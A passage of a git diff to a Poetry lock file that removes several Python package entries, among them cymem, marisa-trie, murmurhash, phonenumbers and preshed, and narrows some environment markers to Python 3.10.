"sha256:87ec985623624bbd298762d8163fc194a096cb13282731a017e09ff8a60bb8b1"}, - {file = "cymem-2.0.11-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e3385a47285435848e0ed66cfd29b35f3ed8703218e2b17bd7a0c053822f26bf"}, - {file = "cymem-2.0.11-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5461e65340d6572eb64deadce79242a446a1d39cb7bf70fe7b7e007eb0d799b0"}, - {file = "cymem-2.0.11-cp313-cp313-win_amd64.whl", hash = "sha256:25da111adf425c29af0cfd9fecfec1c71c8d82e2244a85166830a0817a66ada7"}, - {file = "cymem-2.0.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1450498623d9f176d48578779c4e9d133c7f252f73c5a93b762f35d059a09398"}, - {file = "cymem-2.0.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0a407fd8766e1f666c48cb232f760267cecf0acb04cc717d8ec4de6adc6ab8e0"}, - {file = "cymem-2.0.11-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6347aed08442679a57bcce5ad1e338f6b717e46654549c5d65c798552d910591"}, - {file = "cymem-2.0.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d8f11149b1a154de0e93f5eda0a13ad9948a739b58a2aace996ca41bbb6d0f5"}, - {file = "cymem-2.0.11-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7a2b4d1a9b1674d6ac0e4c5136b70b805535dc8d1060aa7c4ded3e52fb74e615"}, - {file = "cymem-2.0.11-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:dec13c1a84612815365939f59e128a0031cae5f6b5a86e4b8fd7c4efa3fad262"}, - {file = "cymem-2.0.11-cp39-cp39-win_amd64.whl", hash = "sha256:332ea5bc1c13c9a186532a06846881288eb846425898b70f047a0820714097bf"}, - {file = "cymem-2.0.11.tar.gz", hash = "sha256:efe49a349d4a518be6b6c6b255d4a80f740a341544bde1a807707c058b88d0bd"}, -] - [[package]] name = "datasets" version = "3.6.0" @@ -906,7 +761,7 @@ files = [ {file = "exceptiongroup-1.3.0-py3-none-any.whl", hash = "sha256:4d111e6e0c13d0644cad6ddaa7ed0261a0b36971f6d23e7ec9b4b9097da78a10"}, {file = "exceptiongroup-1.3.0.tar.gz", hash = "sha256:b241f5885f560bc56a59ee63ca4c6a8bfa46ae4ad651af316d4e81817bb9fd88"}, ] -markers = {dev = "python_version < \"3.11\""} +markers = {dev = "python_version == \"3.10\""} [package.dependencies] typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} @@ -1442,7 +1297,7 @@ description = "IPython: Productive Interactive Computing" optional = false python-versions = ">=3.10" groups = ["dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "ipython-8.37.0-py3-none-any.whl", hash = "sha256:ed87326596b878932dbcb171e3e698845434d8c61b8d8cd474bf663041a9dcf2"}, {file = "ipython-8.37.0.tar.gz", hash = "sha256:ca815841e1a41a1e6b73a0b08f3038af9b2252564d01fc405356d34033012216"}, @@ -1771,44 +1626,6 @@ traitlets = ">=5.3" docs = ["intersphinx-registry", "myst-parser", "pydata-sphinx-theme", "sphinx-autodoc-typehints", "sphinxcontrib-spelling", "traitlets"] test = ["ipykernel", "pre-commit", "pytest (<9)", "pytest-cov", "pytest-timeout"] -[[package]] -name = "langcodes" -version = "3.5.0" -description = "Tools for labeling human languages with IETF language tags" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "langcodes-3.5.0-py3-none-any.whl", hash = "sha256:853c69d1a35e0e13da2f427bb68fb2fa4a8f4fb899e0c62ad8df8d073dcfed33"}, - {file = "langcodes-3.5.0.tar.gz", hash = "sha256:1eef8168d07e51e131a2497ffecad4b663f6208e7c3ae3b8dc15c51734a6f801"}, -] - -[package.dependencies] -language-data = ">=1.2" - -[package.extras] -build = ["build", "twine"] -test = ["pytest", "pytest-cov"] - -[[package]] -name = "language-data" -version = "1.3.0" -description = "Supplementary data about languages used by the langcodes module" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "language_data-1.3.0-py3-none-any.whl", hash = "sha256:e2ee943551b5ae5f89cd0e801d1fc3835bb0ef5b7e9c3a4e8e17b2b214548fbf"}, - {file = "language_data-1.3.0.tar.gz", hash = "sha256:7600ef8aa39555145d06c89f0c324bf7dab834ea0b0a439d8243762e3ebad7ec"}, -] - -[package.dependencies] -marisa-trie = ">=1.1.0" - -[package.extras] -build = ["build", "twine"] -test = ["pytest", "pytest-cov"] - [[package]] name = "litellm" version = "1.75.8" @@ -1907,84 +1724,6 @@ win32-setctime = {version = ">=1.0.0", markers = "sys_platform == \"win32\""} [package.extras] dev = ["Sphinx (==8.1.3) ; python_version >= \"3.11\"", "build (==1.2.2) ; python_version >= \"3.11\"", "colorama (==0.4.5) ; python_version < \"3.8\"", "colorama (==0.4.6) ; python_version >= \"3.8\"", "exceptiongroup (==1.1.3) ; python_version >= \"3.7\" and python_version < \"3.11\"", "freezegun (==1.1.0) ; python_version < \"3.8\"", "freezegun (==1.5.0) ; python_version >= \"3.8\"", "mypy (==v0.910) ; python_version < \"3.6\"", "mypy (==v0.971) ; python_version == \"3.6\"", "mypy (==v1.13.0) ; python_version >= \"3.8\"", "mypy (==v1.4.1) ; python_version == \"3.7\"", "myst-parser (==4.0.0) ; python_version >= \"3.11\"", "pre-commit (==4.0.1) ; python_version >= \"3.9\"", "pytest (==6.1.2) ; python_version < \"3.8\"", "pytest (==8.3.2) ; python_version >= \"3.8\"", "pytest-cov (==2.12.1) ; python_version < \"3.8\"", "pytest-cov (==5.0.0) ; python_version == \"3.8\"", "pytest-cov (==6.0.0) ; python_version >= \"3.9\"", "pytest-mypy-plugins (==1.9.3) ; python_version >= \"3.6\" and python_version < \"3.8\"", "pytest-mypy-plugins (==3.1.0) ; python_version >= \"3.8\"", "sphinx-rtd-theme (==3.0.2) ; python_version >= \"3.11\"", "tox (==3.27.1) ; python_version < \"3.8\"", "tox (==4.23.2) ; python_version >= \"3.8\"", "twine (==6.0.1) ; python_version >= \"3.11\""] -[[package]] -name = "marisa-trie" -version = "1.3.0" -description = "Static memory-efficient and fast Trie-like structures for Python." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "marisa_trie-1.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0ec9d7fa8e16eb2399b9ab5677bca5fcca3dbc58f0b285f158c2da5fb79080d4"}, - {file = "marisa_trie-1.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ea63c74aa88d0dc24464bc356bc31625318e58b5dd20169d98e696baa3f91ffd"}, - {file = "marisa_trie-1.3.0-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a22e8e3b82533fc71fa34d28e3563e72e7863810c786a8e3c350ede0fe3f4ad7"}, - {file = "marisa_trie-1.3.0-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3b3a3a8b5b2ee26fa72e6c92a7b31731f79c1f81e7c0a2041e8e6b5d19497bac"}, - {file = "marisa_trie-1.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e2dd0868d3695c742166b7922608f9c5bbf89f536c2144743ca5a62a24290a08"}, - {file = "marisa_trie-1.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ee193c1f26d9a10bbc56b9bd1e3b16c79ed0e0e44387275f8054d4cf853804d1"}, - {file = "marisa_trie-1.3.0-cp310-cp310-win32.whl", hash = "sha256:548b9b020a6c5ed210e13f706b9fb1d097cfc510c1a02e757ea0d61bdcf17c80"}, - {file = "marisa_trie-1.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:0111d6067c5a52141585a9213e073aa0d0438ba1c6febc40f827c5cadd3aa5d8"}, - {file = "marisa_trie-1.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5d72ffde56fb1515bcb03539803d42d0a119f6782c5812bf2b7313eddc691735"}, - {file = "marisa_trie-1.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6a1f0781bccd854184a9c59b095ed09adf16627460eb8df4a91dc3f87e882352"}, - {file = "marisa_trie-1.3.0-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:608d965d47f40b8cd402215b95d85db899268d277ae5b8ebe87b7acdd3e2a0bb"}, - {file = "marisa_trie-1.3.0-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8b39a7314f6ad141c9c24acff0a71f4fdae1eab5ea827468c40afafc0662cab3"}, - {file = "marisa_trie-1.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e8e2f1394eecfb780a25950849d64a799b79f538d17945e42b1652da4e0cae4"}, - {file = "marisa_trie-1.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1a56cc700b1405cc75fde9197f9d2fed66ecbbaee7bdf1f28728494f119dc7f3"}, - {file = "marisa_trie-1.3.0-cp311-cp311-win32.whl", hash = "sha256:58f1b70501c2462583bce5639a65af5516e9785ae6b3158533ddeecde70f0675"}, - {file = "marisa_trie-1.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:938f618d2cece8358899c688591d94db6652d9e1076c15a7efdfcfdc64a96cdb"}, - {file = "marisa_trie-1.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:28bfd6fada6c87cb31d300bbed5de1bfd338f8c98d1b834cf810a06ce019a020"}, - {file = "marisa_trie-1.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:034e483bd35ab6d136d8a91f43088dc78549394cf3787fdeebca144e2e4c82df"}, - {file = "marisa_trie-1.3.0-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b71462677dc6c119589755394086cffbcf4d4d42f906fefb325c982c679406d6"}, - {file = "marisa_trie-1.3.0-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:31c891ebce899f35936d4ab9f332b69ab762513d5944b0f43f61427e53671d42"}, - {file = "marisa_trie-1.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4570850d9b6e6a099797f731652dbe764dfd6dd7eff2934318a7018ba1a82cf1"}, - {file = "marisa_trie-1.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d85a0484f8ecd3a6c843c1b10b42953f14278b35ce30d94bc7cb6305604a6109"}, - {file = "marisa_trie-1.3.0-cp312-cp312-win32.whl", hash = "sha256:714dabb0ddd4be72841c962d0559d5a80613964dc2a5db72651ae3b2ae3408fc"}, - {file = "marisa_trie-1.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:bd53e6b99008ff3dab6455791800af405351d98fbf01c4f474642afb1499236d"}, - {file = "marisa_trie-1.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f44e0c0c339fe44dd3e7fcbab91cc1a5888c12c35a8bf2811b3eb85236570b29"}, - {file = "marisa_trie-1.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c27bde381c46574f3f534b4a62c42485e80e0e26c127899f83a391dd2c2bf078"}, - {file = "marisa_trie-1.3.0-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8fc98a5362a25c27c1372af68253ba19ec0b27f1423fce307516257458bcf778"}, - {file = "marisa_trie-1.3.0-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:989ba916e7747817b6fd2c46f2d40371ab3adaf026c1e6b4cded251ce1768ae4"}, - {file = "marisa_trie-1.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3bd0af8668d0858f174085fcac5062d38a44ee35a230fb211e7164d791ac07c3"}, - {file = "marisa_trie-1.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:22a9140ffc7a82855bb41d6140e77c658d6a2abbf613b227adb1b786f53962ec"}, - {file = "marisa_trie-1.3.0-cp313-cp313-win32.whl", hash = "sha256:932b0101cf39d20afc07d71726b709376cbaf06316e4ce5008e2c1c21c9a925d"}, - {file = "marisa_trie-1.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:9079d9d88921e46de1b65214d28608974dfcac2b49ee74f03807dc03e9d0da20"}, - {file = "marisa_trie-1.3.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:dc6a1cca4ad5bead99efde0079605bc059f856b00be9b58b0f5978665ece7bb9"}, - {file = "marisa_trie-1.3.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:6482ab865261164b6577c5016b3d8a14ba1baf966945e203d78d7994702d45e4"}, - {file = "marisa_trie-1.3.0-cp313-cp313t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:31ca1258ec765f47e4df6b46cdb562caff762a9126ab72276415bca1b34d1a16"}, - {file = "marisa_trie-1.3.0-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d33818e5ece65da895d2262519abd752b3ef96245ae977ebe970f5a0631bcb83"}, - {file = "marisa_trie-1.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:5e5acc03e489201b26a98251d0e8eedca43a32ab2bc1840a6cd5e8b918e193a3"}, - {file = "marisa_trie-1.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:80bf10d0d2a19bdbc1fe1174a2887dcdaaba857218d3d627adea9045a54f5a17"}, - {file = "marisa_trie-1.3.0-cp313-cp313t-win32.whl", hash = "sha256:324ca8b80f76016fc459e1c2b6cab8df12e4fd43830700c7290650651f71f662"}, - {file = "marisa_trie-1.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:9a6a18176b283950c7f6c4c0952c3bb8b4430e5b38d645a0d96f12ff8c650a73"}, - {file = "marisa_trie-1.3.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:d6bb4a231d12b4e58d4f7250a8491f529ca41ef2171d3fa15fba13dce3c2efff"}, - {file = "marisa_trie-1.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:10767b992ab20d24d8e97b54f89c5b0149e979d10bf88bb0151bee99f0f996a3"}, - {file = "marisa_trie-1.3.0-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:938e6e9ed7675a0a2c520926897c02126749e12a6cb6c2e7c910e7ea83aa40f3"}, - {file = "marisa_trie-1.3.0-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a6e9b4cec99935cbc339d3896852c045605dd65910e8c534998d751113a0f767"}, - {file = "marisa_trie-1.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2e598970f95c9bb7f4f5a27d5e11ec2babfac1f737910395009a1753283f15dd"}, - {file = "marisa_trie-1.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5b37b55dd120b6dad14ee4cdab5f57dafb1a937decf148f67d13df3392e421a9"}, - {file = "marisa_trie-1.3.0-cp314-cp314-win32.whl", hash = "sha256:05ba1011626d8845643a29449e1de5faed01e9e2b261825ac67a9675ce7f7426"}, - {file = "marisa_trie-1.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:80f158464e05d6e063abaebfb8811f48333e2337605d852ae9065d442b637dd0"}, - {file = "marisa_trie-1.3.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:10dce1641ef253eec9db7c5931763643b81d39e9d9e45c537d4739b6a09856f9"}, - {file = "marisa_trie-1.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2379030b1339a38110509cd1f4d8ecbe6647c5df85eccc7f2133bcdc55855082"}, - {file = "marisa_trie-1.3.0-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:04bf4a128d8ec1881477364269034df620ebcec0ab0fd54bf2c5ee4779df10fe"}, - {file = "marisa_trie-1.3.0-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5c6f0c01c3853c3cc65f7b7db1c1ce3181f7479a2cc4de145fae53db3cc5193b"}, - {file = "marisa_trie-1.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:cc6ea03831be59a50dbe7afc3691fa3cc8f0c6a1af48e98eccb749cbe03a5414"}, - {file = "marisa_trie-1.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9c7631f8442a4407b72a150089b6b804fbc06c4494ff45c96c4469e44aaf0003"}, - {file = "marisa_trie-1.3.0-cp314-cp314t-win32.whl", hash = "sha256:10e4722fdb7b87ccf9ca279c7f7d8a2ed5b64934b9cd36cbcd5cdca81365db4d"}, - {file = "marisa_trie-1.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:284354853d5292b722abe4bfb9fbfff8015e9edd9462b097072875ed8c99e0d6"}, - {file = "marisa_trie-1.3.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:e945c78652b01720d419051cf37642165878abb182d555f99390c7d36cec6152"}, - {file = "marisa_trie-1.3.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e79b517386135eb84c3459805047bfb173df2763b1aa322a66864f13d620bd83"}, - {file = "marisa_trie-1.3.0-cp39-cp39-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a1b34336cd3a7bc84d29ca6da4f38e6845b83cb18b38362f967b0a3096847ec2"}, - {file = "marisa_trie-1.3.0-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:644e64763617b346bb66bdaa7a286bedc888cd2afa8f3b0219de62f996c701bc"}, - {file = "marisa_trie-1.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:f03cea2fabebf4f1429ccb87c4037dacd828050e8829cacb233f0865bda4244e"}, - {file = "marisa_trie-1.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:06ad6722d6d3f3be1f1a9b2b61afe8836e37d9f7ac4d23ebeb4b1acb043b2559"}, - {file = "marisa_trie-1.3.0-cp39-cp39-win32.whl", hash = "sha256:9210446587d3daa40c2fe808b966a80e03995eeb6688c475b77276200524f0a0"}, - {file = "marisa_trie-1.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:cba78321fae9b825f2bfcb2c3f66f60ab773777a8d2fcb34468daac657e0fc48"}, - {file = "marisa_trie-1.3.0.tar.gz", hash = "sha256:39af3060b4ab41a3cce18b1808338db8bf50b6ec4b81be3cc452558aaad95581"}, -] - -[package.extras] -test = ["hypothesis", "pytest", "readme_renderer"] - [[package]] name = "markdown" version = "3.8.2" @@ -2464,52 +2203,6 @@ files = [ [package.dependencies] dill = ">=0.3.8" -[[package]] -name = "murmurhash" -version = "1.0.13" -description = "Cython bindings for MurmurHash" -optional = false -python-versions = "<3.14,>=3.6" -groups = ["main"] -files = [ - {file = "murmurhash-1.0.13-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:136c7017e7d59ef16f065c2285bf5d30557ad8260adf47714c3c2802725e3e07"}, - {file = "murmurhash-1.0.13-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d0292f6fcd99361157fafad5c86d508f367931b7699cce1e14747364596950cb"}, - {file = "murmurhash-1.0.13-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:12265dc748257966c62041b677201b8fa74334a2548dc27f1c7a9e78dab7c2c1"}, - {file = "murmurhash-1.0.13-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e411d5be64d37f2ce10a5d4d74c50bb35bd06205745b9631c4d8b1cb193e540"}, - {file = "murmurhash-1.0.13-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:da3500ad3dbf75ac9c6bc8c5fbc677d56dfc34aec0a289269939d059f194f61d"}, - {file = "murmurhash-1.0.13-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b23278c5428fc14f3101f8794f38ec937da042198930073e8c86d00add0fa2f0"}, - {file = "murmurhash-1.0.13-cp310-cp310-win_amd64.whl", hash = "sha256:7bc27226c0e8d9927f8e59af0dfefc93f5009e4ec3dde8da4ba7751ba19edd47"}, - {file = "murmurhash-1.0.13-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b20d168370bc3ce82920121b78ab35ae244070a9b18798f4a2e8678fa03bd7e0"}, - {file = "murmurhash-1.0.13-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cef667d2e83bdceea3bc20c586c491fa442662ace1aea66ff5e3a18bb38268d8"}, - {file = "murmurhash-1.0.13-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:507148e50929ba1fce36898808573b9f81c763d5676f3fc6e4e832ff56b66992"}, - {file = "murmurhash-1.0.13-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64d50f6173d266ad165beb8bca6101d824217fc9279f9e9981f4c0245c1e7ee6"}, - {file = "murmurhash-1.0.13-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0f272e15a84a8ae5f8b4bc0a68f9f47be38518ddffc72405791178058e9d019a"}, - {file = "murmurhash-1.0.13-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9423e0b0964ed1013a06c970199538c7ef9ca28c0be54798c0f1473a6591761"}, - {file = "murmurhash-1.0.13-cp311-cp311-win_amd64.whl", hash = "sha256:83b81e7084b696df3d853f2c78e0c9bda6b285d643f923f1a6fa9ab145d705c5"}, - {file = "murmurhash-1.0.13-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bbe882e46cb3f86e092d8a1dd7a5a1c992da1ae3b39f7dd4507b6ce33dae7f92"}, - {file = "murmurhash-1.0.13-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:52a33a12ecedc432493692c207c784b06b6427ffaa897fc90b7a76e65846478d"}, - {file = "murmurhash-1.0.13-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:950403a7f0dc2d9c8d0710f07c296f2daab66299d9677d6c65d6b6fa2cb30aaa"}, - {file = "murmurhash-1.0.13-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fde9fb5d2c106d86ff3ef2e4a9a69c2a8d23ba46e28c6b30034dc58421bc107b"}, - {file = "murmurhash-1.0.13-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3aa55d62773745616e1ab19345dece122f6e6d09224f7be939cc5b4c513c8473"}, - {file = "murmurhash-1.0.13-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:060dfef1b405cf02c450f182fb629f76ebe7f79657cced2db5054bc29b34938b"}, - {file = "murmurhash-1.0.13-cp312-cp312-win_amd64.whl", hash = "sha256:a8e79627d44a6e20a6487effc30bfe1c74754c13d179106e68cc6d07941b022c"}, - {file = "murmurhash-1.0.13-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b8a7f8befd901379b6dc57a9e49c5188454113747ad6aa8cdd951a6048e10790"}, - {file = "murmurhash-1.0.13-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f741aab86007510199193eee4f87c5ece92bc5a6ca7d0fe0d27335c1203dface"}, - {file = "murmurhash-1.0.13-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:82614f18fa6d9d83da6bb0918f3789a3e1555d0ce12c2548153e97f79b29cfc9"}, - {file = "murmurhash-1.0.13-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:91f22a48b9454712e0690aa0b76cf0156a5d5a083d23ec7e209cfaeef28f56ff"}, - {file = "murmurhash-1.0.13-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c4bc7938627b8fcb3d598fe6657cc96d1e31f4eba6a871b523c1512ab6dacb3e"}, - {file = "murmurhash-1.0.13-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:58a61f1fc840f9ef704e638c39b8517bab1d21f1a9dbb6ba3ec53e41360e44ec"}, - {file = "murmurhash-1.0.13-cp313-cp313-win_amd64.whl", hash = "sha256:c451a22f14c2f40e7abaea521ee24fa0e46fbec480c4304c25c946cdb6e81883"}, - {file = "murmurhash-1.0.13-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:94371ea3df7bfbc9106a9b163e185190fa45b071028a6594c16f9e6722177683"}, - {file = "murmurhash-1.0.13-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1db35c354c6834aa0dcf693db34ccdf3b051c1cba59b8dc8992a4181c26ec463"}, - {file = "murmurhash-1.0.13-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:273939515100361dc27bfb3b0ccde462633b514e227dc22b29f99c34e742d794"}, - {file = "murmurhash-1.0.13-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b16a58afda1e285755a4c15cd3403d596c4c37d7770f45745f5ec76b80ba0fc5"}, - {file = "murmurhash-1.0.13-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1e858c40d051ae48ed23b288ecb49aa8f95955ad830d5803b4ce45e08106ec18"}, - {file = "murmurhash-1.0.13-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6e7250c095592ab9fc62a6d95728a15c33010f9347d9b3263dcffb33a89d3b7a"}, - {file = "murmurhash-1.0.13-cp39-cp39-win_amd64.whl", hash = "sha256:3fff9b252b7abb737a7e9baf5a466a2abecb21be3a86a3d452a5696ee054bfcc"}, - {file = "murmurhash-1.0.13.tar.gz", hash = "sha256:737246d41ee00ff74b07b0bd1f0888be304d203ce668e642c86aa64ede30f8b7"}, -] - [[package]] name = "mypy" version = "1.17.1" @@ -2614,7 +2307,7 @@ description = "Fundamental package for array computing in Python" optional = false python-versions = ">=3.10" groups = ["main", "dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "numpy-2.2.6-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b412caa66f72040e6d268491a59f2c43bf03eb6c96dd8f0307829feb7fa2b6fb"}, {file = "numpy-2.2.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8e41fd67c52b86603a91c1a505ebaef50b3314de0213461c7a6e99c9a3beff90"}, @@ -3063,18 +2756,6 @@ files = [ [package.dependencies] ptyprocess = ">=0.5" -[[package]] -name = "phonenumbers" -version = "9.0.12" -description = "Python version of Google's common library for parsing, formatting, storing and validating international phone numbers." -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "phonenumbers-9.0.12-py2.py3-none-any.whl", hash = "sha256:900633afc3e12191458d710262df5efc117838bd1e2e613b64fa254a86bb20a1"}, - {file = "phonenumbers-9.0.12.tar.gz", hash = "sha256:ccadff6b949494bd606836d8c9678bee5b55cb1cbad1e98bf7adae108e6fd0be"}, -] - [[package]] name = "pillow" version = "11.3.0" @@ -3265,81 +2946,6 @@ nodeenv = ">=0.11.1" pyyaml = ">=5.1" virtualenv = ">=20.10.0" -[[package]] -name = "preshed" -version = "3.0.10" -description = "Cython hash table that trusts the keys are pre-hashed" -optional = false -python-versions = "<3.14,>=3.6" -groups = ["main"] -files = [ - {file = "preshed-3.0.10-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:14593c32e6705fda0fd54684293ca079530418bb1fb036dcbaa6c0ef0f144b7d"}, - {file = "preshed-3.0.10-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ba1960a3996678aded882260133853e19e3a251d9f35a19c9d7d830c4238c4eb"}, - {file = "preshed-3.0.10-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0830c0a262015be743a01455a1da5963750afed1bde2395590b01af3b7da2741"}, - {file = "preshed-3.0.10-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:165dda5862c28e77ee1f3feabad98d4ebb65345f458b5626596b92fd20a65275"}, - {file = "preshed-3.0.10-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e88e4c7fbbfa7c23a90d7d0cbe27e4c5fa2fd742ef1be09c153f9ccd2c600098"}, - {file = "preshed-3.0.10-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:87780ae00def0c97130c9d1652295ec8362c2e4ca553673b64fe0dc7b321a382"}, - {file = "preshed-3.0.10-cp310-cp310-win_amd64.whl", hash = "sha256:32496f216255a6cbdd60965dde29ff42ed8fc2d77968c28ae875e3856c6fa01a"}, - {file = "preshed-3.0.10-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d96c4fe2b41c1cdcc8c4fc1fdb10f922a6095c0430a3ebe361fe62c78902d068"}, - {file = "preshed-3.0.10-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cb01ea930b96f3301526a2ab26f41347d07555e4378c4144c6b7645074f2ebb0"}, - {file = "preshed-3.0.10-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dd1f0a7b7d150e229d073fd4fe94f72610cae992e907cee74687c4695873a98"}, - {file = 